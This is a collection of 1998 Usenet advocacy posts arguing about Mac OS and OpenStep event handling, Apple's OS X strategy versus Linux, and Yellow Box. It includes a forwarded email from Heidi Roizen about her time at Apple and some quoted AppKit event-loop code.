(and wasn't this to be a feature of OS8.5 as well?). Although this would
ot have the effect of "freeing" the foreground app
> This has happened since I started using it, and still occurs with 3.51.
> It is really really really sucky programming, and I wonder how why they
> havent fixed this bug yet
It's not a bug, it's one of the things you _have_ to do on the MacOS to get
t background time. If you let things as silly as looking at a menu stop
eading, you get logged off because the timers fired.
So it's looks ugly. Trust me, that's a LOT better than logging everyone
ff the server because you took 10 seconds to find the menu item you wanted.
Maury
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Fri, 04 Sep 1998 07:57:21 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6so6h0$t7o$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <EyqADA.654@T-FCN.Net>
In article <EyqADA.654@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> Well menu handling can only logically be controlled by the application too.
> The question is where and when you're notified. For instance in OmniWeb if
> you simply hold the mouse down on the scroll bar, the foreground app blocks
> again - this can easily be avoided with some more code in the scrollers, and
> would result in fairly impressive changes to the behaviour without an
> overhaul.
I was refering to tracking. If you want dynamic scrolling then the
application must be informed every time the thumb is moved or the arrows
pressed. The application need not be involved with any aspect of menu
tracking, it need only be informed when the menu is displayed and when an
item is selected. Actually, you could design your application such that it
wouldn't even need to be notified when the menu is displayed.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple heading to obscurity?
Content-Type: text/plain; charset=us-ascii
Message-ID: <Eynut8.H0w@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: Michael.Peck@ericsson.com
Organization: none
References: <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de>
<pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
<joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de>
<D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net>
<6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com>
<EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net>
<EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com>
Mime-Version: 1.0
Date: Wed, 2 Sep 1998 14:27:07 GMT
In <35EC8621.A28FBDDA@ericsson.com> Michael Peck wrote:
> Yes, all of the above. Win98, WinNT, Linux, all of these operating
> systems -- and only these -- are gaining market share. They are all the
> wave of the future. Why is Apple trying to build a competitor instead of
> building on top of the competition?
That's your justification?
Why didn't Woz build the the Apple II instead of building Altair add ons?
Why did K&R&T build Unix when they could have run Multics?
Why did Linus build Linux when he could of patched up Minix?
It's called innovation. Duh. I'm sure you'll continue posting stupid
tes like this and then claim I'm the one posting silly arguments.
> MacOS X doesn't have any market share yet, and there's no data one way
> or the other as to whether if ever will. I would bet against a new
> operating system that has zero major functional improvements over the
> existing (well-established) competition.
Riiiight, the ability to run Office and YB are not major improvements.
> Something is evidently wrong with your newsposter.
New beta, cuts off the first few chars of every wrapped line.
> This makes no sense even if you define what "Mac" in "Mac owner" means.
> If it means a piece of hardware, of course Linux will run on that
> hardware, which renders the point rather elusive.
How does this render the point elusive? This is exactly the point I'm
ing. Obviously you had no problem understanding it.
Mac owners don't care what the technical basis of their OS is, as long as
it works. You specifically agreed with this point. Apple has an OS right
ow that is functionally the same as Linux and in some ways better. The only
advantage to Linux is PR. This is of no value in Apple's market. You
onded to all of these points demonstrating in the response that you
od them, but then claim my argument doesn't make any sense.
I'm _still_ waiting for any non-PR related reasons why Apple should use
nux. No one has provided any to date, and you not only fail to again, but
ven after all of this STILL attempt to use PR as a point.
> Then we are discussing hardware, evidently. I wonder what makes BSD more
> suitable for Macintosh hardware than Linux.
Because the while OS is already running on it. How could you miss this,
nsidering I pointed it out in EVERY message?
> For the reasons Mr. Garner listed (popularity, chiefly), Linux certainly
> is "better" than what they have now on the PPC.
My god Mike, how can you post that quote above and then utterly reverse
urself in the next paragraph?!? THE POPULARILY OF LINUX MEANS NOTHING TO MAC
C OWNERS.
> Linux/PPC would seem to beg the question: why, indeed, isn't Apple
> supporting PCs with MacOS X when Linux offers a partial solution?
Solutions have nothing to do with it, they don't want to. Period.
> this question is even raised within the hallowed halls of One Infinite
> Loop, Linux certainly is the "better" than what they have now on the
> PPC.
How? Exactly. Can you tell me how Linux on the PPC is better than the
ch they have now?
> Moreover, Linux is a brand name complete with silly T-shirts to
> advertise product. BSD?
The imp.
> Will Apple be putting little red daemons on
> bumper stickers and convention buttons, or will it be starting all over
> again to build brand name with MacOS X?
No, it will build brand with MacOS.
> Of course, you've already thought of all of this.
In the message you replied to, yes.
Maury
From: marmier4@hei.unige.ch
Newsgroups: comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 1 Sep 1998 22:41:49 GMT
Organization: News Server of Sunrise Communications AG
Message-ID: <6sht7d$e2b$1@sibyl.sunrise.ch>
References: <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <6sccvd$5i@gazette.bcm.tmc.edu> <gierkeNOSPAM-3008981858090001@pm1-35.ile.infi.net> <6scmmf$8dh$1@supernews.com> <35e9f6f2.18392599@nntp.erinet.com>
> 2.) MS does not allways release it's products on time, because MS insists on
> "finishing" it's products before they hit the shelves.
>
First time I hear this...
Raph
From: kms@norfolk-county.com (K. Sebring)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Wed, 02 Sep 1998 10:17:41 -0400
Organization: I say screw it!
Message-ID: <kms-0209981017420001@dialinuser163.norfolk-county.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <6sj8fl$rct$1@oak.prod.itd.earthlink.net>
In article <6sj8fl$rct$1@oak.prod.itd.earthlink.net>, "Todd Arneson"
<s124@earthlink.net> wrote:
>Dan wrote in message ...
>>blewis wrote in message ...
>>
>>>> At least they get released. Better late than never, a la Apple.
>>>
>>>Sure, they may get released, but they are buggy as hell and mostly
>>>unusable until the first service pack.
>>
>>Personal opinion...
>>
>>
>>I don't know anyone that knows what the difference is between Win95 and
>>Win95 with service pack 1... nor can 95% of any Win95 user find or name a
>>single Win95 bug... can you?
>
>
>Nope, but I can name 10 MacOS bugs right off the top of my head.
Ok... we'll take your word for it, alright? You're a trusting guy.
--
-----------------------
kms@norfolk-county.com
kmsmac on AIM
ICQ #9251405
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Thu, 3 Sep 1998 22:58:57 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6snolt$k6i1@odie.mcleod.net>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <EyqADA.654@T-FCN.Net>
This is the second time I have had to type this. Windows 95 crashed while
typing the first time!
Openstep/Rhapsody applications do not block while scrolling in the sense
that people in this thread seem to mean.
Background:
In any UNIX application if you request IO that is not available, the
application will block meaning that the operating system puts it to sleep
until the IO request can be completed. If you call getc() and the are no
pending characters, your process blocks and consumes no CPU until a
character becomes available.
The way things are:
Application Kit based applications block on IO also. One form of IO is
event reception. If no events are available for your application to
consume, your application sleeps and consumes no CPU time.
Scrolling:
When a user clicks on a scroll bar control in an Application Kit based app,
the scroll bar control enters a modal loop stealing all events until the
following mouse up. The application is not blocked. It is consuming all
kinds of events and using CPU time. Many controls in the AppKit start modal
event consuming loops upon mouse down. They call the following
NSApplication method :
- (NSEvent *)nextEventMatchingMask:(unsigned int)mask
untilDate:(NSDate *)expiration
inMode:(NSString *)mode
dequeue:(BOOL)flag
This is IMHO a poor implementation.
NeXT should have used the always available -mouseDragged: method of
NSResponder instead. By stealing events "out of band" during scrolling,
events such as timer events that would have caused animation or whatever are
consumed and all non scroll related work stops. Using -mouseDragged:
instead would have avoided this.
References and Examples in which Apple advocates BAD IMHO practices:
From NSView documentation
//Quote
NSViews that handle mouse clicks as a single event, from mouse down, through
dragging, to mouse up, must usually short-circuit the application's normal
event loop, entering a modal event loop to catch and process only events of
interest. For example, an NSButton highlights upon a mouse-down event, then
follows the mouse location during dragging, highlighting when the mouse is
inside and unhighlighting when the mouse is outside. If the mouse is inside
on the mouse-up event, the NSButton sends its action message. This method
template shows one possible kind of modal event loop:
- (void)mouseDown:(NSEvent
Event{
BOOL keepOn = YES;
BOOL isInside = YES;
NSPoint mouseLoc;
do {
mouseLoc = [self convertPoint:[theEvent mouseLocationInWindow
fromView:nil]];
isInside = [self mouse:mouseLoc inRect:[self bounds]];
switch ([theEvent type]) {
case NSLeftMouseDragged:
[self highlight:isInside];
break;
case NSLeftMouseUp:
if (isInside) [self doSomethingSignificant];
[self highlight:NO];
keepOn = NO;
break;
default: /* Ignore any other kind of event. */
break;
}
theEvent = [[self window] nextEventMatchingMask: NSLeftMouseUpMask |
NSLeftMouseDraggedMask];
} while (keepOn);
return;
}
//END_Quote
From Draw.app
//Quote
// -----------------------------------------------------------------------------
// Moves the selection by cacheing the selected graphics into the
// selection cache, then compositing them repeatedly as the user
// moves the mouse. The tracking loop uses TIMER events to autoscroll
// at regular intervals. TIMER events do not have valid mouse coordinates,
// so the last coordinates are saved and restored when there is a TIMER event.
//
#define MOVE_MASK NSLeftMouseUpMask|NSLeftMouseDraggedMask
- (BOOL)move:(NSEvent *)event {
NSEvent *peek;
float dx, dy;
NS
Window *window = [self window];
BOOL inTimerLoop = NO;
[// Deleted for brevity]
event = [window nextEventMatchingMask:MOVE_MASK];
if ([event type] == NSLeftMouseUp) return NO;
[// Deleted for brevity]
while (tracking) {
]// Deleted for brevity]
tracking = ([event type] != NSLeftMouseUp);
if (tracking) {
[// Deleted for brevity]
if(!inTimerLoop){
[NSEvent startPeriodicEventsAfterDelay:0.1 withPeriod:0.1];
inTimerLoop = YES;
}
}
[// Deleted for brevity]
if (!(peek = [window nextEventMatchingMask:MOVE_MASK untilDate:[NSDate
date]
inMode:NSEventTrackingRunLoopMode dequeue:NO])) {
event = [window nextEventMatchingMask:MOVE_MASK|NSPeriodicMask];
} else {
event = [window nextEventMatchingMask:MOVE_MASK];
}
if ([event type] == NSPeriodic) event =
periodicEventWithLocationSetToPoint(event, p);
}
[// Deleted for brevity]
}
//End_Quote
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 2 Sep 1998 14:01:56 GMT
Organization: Primenet (602)416-7000
Message-ID: <6sjj4k$2p$1@nnrp02.primenet.com>
References: <6o8adb$i746@odie.mcleod.net> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de>
<D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <1BE31BB8FDA18957.F7A2629239765D4E.3D7390EA0F6E4AB4@library-proxy.airnews.net>
<6si9mm$sdu@news1.panix.com>
Sal Denaro <sal@panix.com> wrote:
: On Fri, 28 Aug 1998, Shelton Garner <leebum@nottowayez.net> wrote:
: > Apple has what Linux needs and vice-versa.
: True. But doesn't Apple already have everything Linux has to offer in
: BSD and Mach? Many of the people I know from Linux NY run *BSD* rather
: than Linux.
I'm always a little wary when people say "Linux is unstppable, therefore
company X should jump up and lead the band". If Linux is unstoppable, it
will do OK by itself, and company X can be free to try something a little
different. I accept that there may be synergy between Linux and a
company's plans, and I certainly appreciate it when companies support
Linux. Just the same, when people propose that a company help lead Linux,
I have this feeling that they are not quite connecting the dots.
I may be misinterpreting Mr. Garner's comments, but I believe he is
suggesting that Apple do more than simply participate in community
development of Linux. I think it would be grand if Apple came to the
position where they could embrace the role of participant, but I don't see
that happening anytime soon.
Apple invented the term "crown jewels" to describe their proprietary
software. It is a long distance from crown jewels to open source(tm).
I expect that MacOS X will use a lot of standard (BSD) components, and
will support a POSIX level interface. That's great because a lot of nice
things, like apache and bash should run on top of it. But, I also expect
that essentially all APIs above the POSIX level will be proprietary to
Apple. In particular, I expect the GUI level APIs to be proprietary.
That may work for Apple and Apple customers, but it does put Apple in a
bit different "space" than Linux.
John
Date: Fri, 04 Sep 1998 03:02:49 -0400
From: bsarpNOSPAM@pgh.nauticom.net (Balaji Sarpeshkar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <bsarpNOSPAM-0409980302490001@47.net10.nauticom.net>
References: <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179> <EypqG4.4pI@T-FCN.Net> <6sn8a6$vae$1@nnrp1.snfc21.pbi.net> <6snl5a$pk85@odie.mcleod.net>
In article <6snl5a$pk85@odie.mcleod.net>, "Michelle L. Buck"
<buck.erik@mcleod.net> wrote:
>Why discard the 25 years of experience and improvement that have gone into
>make and other "command line" tools if you never see them anyway. Next you
>will tell me you don't like ftp because it is a command line tool. Have you
>ever used a GUI ftp application ?
Forgive me for interjecting, but I do use a GUI ftp application: Anarchie,
by Peter Lewis. After being spoiled by drag-and-drop batch file transfer,
among other things, I don't really think I could use a command line ftp
tool.
"Of course, that's just my opinion, I could be wrong." -- Dennis Miller
--
Balaji Sarpeshkar
bsarpNOSPAM@pgh.nauticom.net
(remove "NOSPAM" to reply)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Content-Type: text/plain; charset=us-ascii
Message-ID: <EyqADA.654@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: chuck@codefab.com
Organization: none
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
<6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
<6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net>
<6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net>
<6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net>
<6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net>
Mime-Version: 1.0
Date: Thu, 3 Sep 1998 21:58:21 GMT
In <6smt8o$n2s$1@news.spacelab.net> "Charles W. Swiger" wrote:
> >> techture of the system, with the WindowServer and DPS being in different
> >> ps". Other bits of the mouse handling indeed cause the system to block
> >>the foreground, like scrolling. I really don't think this is that much
> >> t.
>
> The windowing system is not blocked when you're doing scrolling. Other
apps
> (or other windows) may continue drawing.
Ummm, sure, that's why I said it makes the system block the foreground (as
opposed ot background apps).
> >Scrolling, can only logically be controlled by the application.
>
> Agreed.
Well menu handling can only logically be controlled by the application too.
The question is where and when you're notified. For instance in OmniWeb if
you simply hold the mouse down on the scroll bar, the foreground app blocks
again - this can easily be avoided with some more code in the scrollers, and
would result in fairly impressive changes to the behaviour without an
overhaul.
Maury
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu>
<6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu>
<6samgn$6f7$1@holly.prod.itd.earthlink.net> <rmcassid-3108980032370001@dialin9062.slip.uci.edu>
<6ser4k$21j$1@ash.prod.itd.earthlink.net> <rmcassid-3108981302170001@hephaestus.eng.uci.edu>
<6sistm$5j3$1@fir.prod.itd.earthlink.net>
Message-ID: <h0fH1.3205$MS.7621650@news.rdc1.sdca.home.com>
Date: Wed, 02 Sep 1998 17:12:45 GMT
NNTP-Posting-Date: Wed, 02 Sep 1998 10:12:45 PDT
Organization: @Home Network
In <6sistm$5j3$1@fir.prod.itd.earthlink.net> "Ziya Oz" wrote:
> rmcassid@uci.edu (Robert Cassidy) wrote:
> >but the solution is there, and it's cross-platform. I
> >think the distinct advantage stays with Apple since AS is relatively
> >ubiquitous.
>
> I feel much better when Apple can say, as it used to, this we can do and
ou
> cannot. Buy our product.
>
>
This is the exact mentality we had in the 80's... did you ever wonder what
caused the rush to standards, open systems and one standard Microsoft?
RYBODY who was anybody had their belly full of incompatible software in their
r organization.
Back to the Future?
-r
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Wed, 02 Sep 1998 18:34:51 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6sk34c$5si$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net>
In article <Eynvox.Hx5@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> Ummm, is this rhetorical? How about the same way that most of the code in
> the System changed into PPC in this version with no change to the API? Or
> the many changes to QD in the past that resulted in no API changes? Or the
> switch to OT which most networking apps didn't even notice?
The changes that you are talking about here took place below the API level.
Changing how menu handling works is a change at the API level unless you have
a clever idea that I am missing.
[I think that the following discussion is key to understanding our positions]
> Something went missing here, my point is that if the menu hander was
> er it could call WNE from inside the tracking loop, and allow other apps to
> run. I know this works, because I worked on a product that did this. I also
> o know that Apple could modify the menu hander to do this AND not result in
> weird screen drawing problems. Why do I know they could do this?
I'm not sure what you mean here. Do you mean that the application would
install a callback (somewhat like how highlevel events are done) and that
routine would be called when the user selects a menu item? Or do you mean
that the application still handles menu events but the new MenuSelect routine
would accept a callback that the application could use?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 2 Sep 98 13:02:04 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B212F253-19875@206.165.43.49>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Cc: HeidiR@aol.com
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
I just got this in e-mail and I thought that I'd share. It should clear up
everything.
Heidi Roizen said:
>Hi Lawson, long time no talk. Yesterday my brother was doing an
>altavista search and ran across the thread of the above title... I'm not
>following those any longer, but given the title, I figured it might be
>interesting to take a look :-)
>
>The main gist of the thread is accurate, the problem is that I was on the
>other side of the issue relative to where people *think* I was, as it
>appears in the thread. I was a HUGE proponent of maintaining the legacy
>code investment. One of my largest internal efforts at Apple was to try
>to improve the tools strategy with better support for needed tools, tools
>planning up front with product planning, and heightened support of tools
>companies like Symantec and Metrowerks. The first issue I raised with
>the NeXT/Rhapsody strategy was legacy code and migration tools.
>(Actually, the first issue I raised was that I had major concerns about
>following an OS strategy that would not even run on the PowerPC chip, and
>therefore the installed base, for at least a year, but I don't want to
>start another issue right now!) The first "developer" I introduced Steve
>to when it was clear that he was a major influence in the forming of the
>OS strategy was Greg Galanos.
>
>As to whether I did a bad or good job, you will probably find the answer
>varies by individual developer. Personally, I count among my successes
>improving the relationship with Microsoft, bringing back a business focus
>to meeting developer needs (IE developers need to make money!),
>emphasizing the protection of legacy code investment, and trying to focus
>the company on a platform strategy rather than a hardware strategy.
>Among my failures were taking to long to cut what needed to be cut out of
>ADR, likewise taking to long to build some things, failing to convince
>management about the importance of certain issues, failing to bring about
>a workable relationship with 'clones' before my departure, and, most
>importantly, failing to personally 'scale' to the job so that I could
>continue to work there and maintain any kind of personal life balance.
>
>As I said last year, I left Apple primarily for personal reasons -- I was
>working horrendous hours, had not seen my kids awake for days, was
>handling 300 emails a day in my spare time, and was worn down by the
>constantly changing strategy and my inability to get for developers what
>I thought they needed. I did not believe the Rhapsody plan was a good
>one, precisely for the reasons that have been discussed in this thread,
>and I decided that I could not support that to the developer community, a
>community I myself spent more than a decade in as a member, and one I had
>left only the year before to take the job at Apple. So I left.
>
>For what it is worth, to answer the 'nontechnical' issues in the thread,
>I had no vested stock, and because I quit, had no exit package like some
>other notable execs who also left around that time. I did however get to
>keep my powerbook ;-) In fact, I also had bought about 2,000 shares at
>40 when I started there, which I sold last June for $15......
>coincidentally, the same week Steve dumped all the stock he got in the
>transaction. Guess we were both feeling the same way about the
>prospects. A month later, Steve called me to ask me if I would come back
>if he were in control, I said I'd consider working for Apple but not
>full-time because I realized that my commitment to my family and children
>was more important than any job I could take on. He didn't call me back
>after that, and I had moved on to other things (I'm on five boards now,
>including Be, Inc., and consulting to Microsoft.... working about a 35
>hour week on interesting things with great people, not travelling much,
>driving my kids to school each morning, etc. I wouldn't change this
>career for anything!)
>
>I'm still using Macs as my primary computer. I think Steve is doing a
>great job, and has made many very smart decisions. I've known Steve a
>long, long time (for you trivia buffs he owned the source code to
>WriteNow, which my company T/Maker published in 1986) and consider him
>a
>friend. I think Apple still has major challenges ahead of them, but I
>hope and believe the company will succeed.
>
>I've definitely hung up my armchair quarterback uniform when it comes to
>apple, so I'm not going to post to the thread myself, but feel free to
>post this if you'd like. Hope you and the rest of the community are
>thriving! cheers -- Heidi
>
>
>Heidi Roizen
>heidir@aol.com
>650/367-6065 voice
>650/363-1411 fax
>http://www.roizen.com/heidi
>
>
>
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Nepenthe@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac users desperate for something better
Date: Fri, 04 Sep 1998 10:16:39 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6soem6$8a3$1@nnrp1.dejanews.com>
References: <35eca36a.34217033@sun3.nptic.edu.tw> <gmgraves-0209981945060001@sf-pm5-16-80.dialup.slip.net> <slrn6us1qq.4e.jason@jhste1.dyn.ml.org> <35f077a3.12456385@news1.bway.net> <gmgraves-0309981020490001@sf-pm5-24-88.dialup.slip.net> <slrn6utkig.8ba.jason@jhste1.dyn.ml.org> <gmgraves-0309981849180001@sf-usr1-47-175.dialup.slip.net> <slrn6uuin4.6q8.jason@jhste1.dyn.ml.org> <mteh-ya02408000R0309982143290001@news.earthlink.net> <macghod-0309982133340001@1cust247.tnt1.santa-barbara.ca.da.uu.net>
In article
<macghod-0309982133340001@1cust247.tnt1.santa-barbara.ca.da.uu.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> On the mac, netscape freezes, I have to restart which takes several
> minutes, plus I have lost the unread status of articles I have read, plus
> my letter to grandma is gone. Just having to restart and then redial my
> isp is a pain
On YOUR Mac. On MY Mac when netscape freezes, I force it to quit, save data
in all my open apps (for safety) relaunch netscape and continue on my merry
way. I cant remember a single fatal crash caused by netscape since going to
OS 8 the day it was released here.
The Mac OS might not be perfectly stable - but none of my productivity apps
(web design, DTP, graphics etc) cause fatal crashes, and therefore any
inherant instability in its design does not effect my productivity. This I
would suggest is normal behaviour for the vast majority of people who use Mac
OS for work with the exception of (from what ive seen here) software
developers.
That said I am still putting off my next hardware purchase until OS X server
or otherwise.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Wed, 02 Sep 1998 17:09:23 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <joe.ragosta-0209981709230001@wil78.dol.net>
References: <B212F253-19875@206.165.43.49>
In article <B212F253-19875@206.165.43.49>, "Lawson English"
<english@primenet.com> wrote:
>I just got this in e-mail and I thought that I'd share. It should clear up
>everything.
>
>
>
>Heidi Roizen said:
>
>>Hi Lawson, long time no talk. Yesterday my brother was doing an
>>altavista search and ran across the thread of the above title... I'm not
>>following those any longer, but given the title, I figured it might be
>>interesting to take a look :-)
>>
>>The main gist of the thread is accurate, the problem is that I was on the
>>other side of the issue relative to where people *think* I was, as it
>>appears in the thread. I was a HUGE proponent of maintaining the legacy
>>code investment. One of my largest internal efforts at Apple was to try
>>to improve the tools strategy with better support for needed tools, tools
>>planning up front with product planning, and heightened support of tools
>>companies like Symantec and Metrowerks. The first issue I raised with
>>the NeXT/Rhapsody strategy was legacy code and migration tools.
>>(Actually, the first issue I raised was that I had major concerns about
>>following an OS strategy that would not even run on the PowerPC chip, and
>>therefore the installed base, for at least a year, but I don't want to
>>start another issue right now!) The first "developer" I introduced Steve
>>to when it was clear that he was a major influence in the forming of the
>>OS strategy was Greg Galanos.
So Heidi basically confirms my position--that she never gave Yellow Box a
real chance. Her focus was on legacy code and apps rather than the
complete rewrite of apps to take advantage of YB.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
From: "Gareth Paxton" <gordonpa@globalnet.co.uk>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Fri, 4 Sep 1998 11:13:00 +0100
Message-ID: <6soefj$laf$1@heliodor.xara.net>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com>
>So what happened: A not very experienced computer user got himself into a
>situation where he couldnt use his computer properly anymore (as I figured
>out later, by clicking into the start menu bar at the wrong point and
>moving the mouse to the wrong point). I call this a bug.
Its called flexibility and gives you the freedom to customise the way your
desktop looks.
Gareth,
PS Stop playing dumb.......
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
From: simonrb@dircon.co.uk (Simon Barker)
